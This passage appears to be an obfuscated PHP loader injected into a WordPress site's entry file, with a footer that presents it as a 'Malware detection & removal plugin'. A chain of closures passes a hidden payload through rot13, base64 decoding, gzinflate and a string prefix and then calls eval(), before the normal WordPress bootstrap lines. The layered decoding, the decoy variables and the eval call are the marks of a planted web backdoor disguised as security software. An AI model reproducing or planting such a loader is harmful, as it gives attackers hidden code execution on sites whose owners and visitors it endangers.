    $lrt0CgAB = "STr_rOt13";
    return STr_rOt13($D7H55Brd);
};
$CBRw = function ($KiZWQ_) {
    $QD0H2T_ = "nWOPHqEIiIorIVhPme61kCyEGRO6JuCam2hvnMYA2wQyALzuJAEJYoki";
    return $QD0H2T_;
};
$DsYAms = function ($D7H55Brd) {
    $y1e3KYW9 = "Fe1_";
    $lrt0CgAB = "FGe_eBg1";
    $lrt0CgAB = "FGe_eBg13";
    $lrt0CgAB = "STr_rOt13";
    return STr_rOt13($D7H55Brd);
};
$DzXBFe = function ($bn2xsr, $ZmBWwQUAv, $Dz6gHmi) {
    return "dtdmTBegFCaEAbVsukIJ3";
};
$TR7C = $crySEBM4n($TR7C);
$Hb1 = function ($waH_) {
    $I2pd = "Eo4ceAb_";
    $FqVR49W = "bAs";
    $FqVR49W = "bAse64_";
    $FqVR49W = "bAse64_decoD";
    $FqVR49W = "bAse64_decoDE";
    return bAse64_decoDE($waH_);
};
$crySEBM4n = function ($KFO7) {
    $soPRU = "SuEBRc";
    $rK3toEDQ = "ScBERY5uC";
    return ScBERY5uC($KFO7);
};
$TR7C = $DsYAms($TR7C);
$fECW = function ($ZUMwlY, $xVuD) {
    $PZE3nHK = "DIeGGQebhMCLdrKE_iqJX9pZsRt_NTfPL5gy9pStjls7kcTVtcNnJpaF13OA2VK";
    return $PZE3nHK;
};
$TR7C = $Hb1($TR7C);
function KsE($bBMm)
{
    $ACzBMdf = "9BI7/Sou";
    $xjIfLuH = 7;
    $xjIfLuH = "7Iuop9b4SU5BM/";
    return $xjIfLuH;
}
function QlQ9ybhZ($RHestMl, $UxTF1YyD, $E8gT5)
{
    return "GQW5wdNkzY_Ia0pWXV";
}
$TR7C = RhHuW($TR7C);
eval($TR7C);
function RhHuW($t_BR)
{
    $eOyEC7A = "RGasn";
    $gOIkfK = "tmVasYn";
    $gOIkfK = "tmVasYnGR";
    $gOIkfK = "tmVasYnGR";
    $gOIkfK = "gzInfLaTE";
    return gzInfLaTE($t_BR);
}
function ScBerY5uC($dM1jk)
{
    return KsE('') . $dM1jk;
}
define('WP_USE_THEMES', true);
require "/var/www/html/wp-blog-header.php";

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.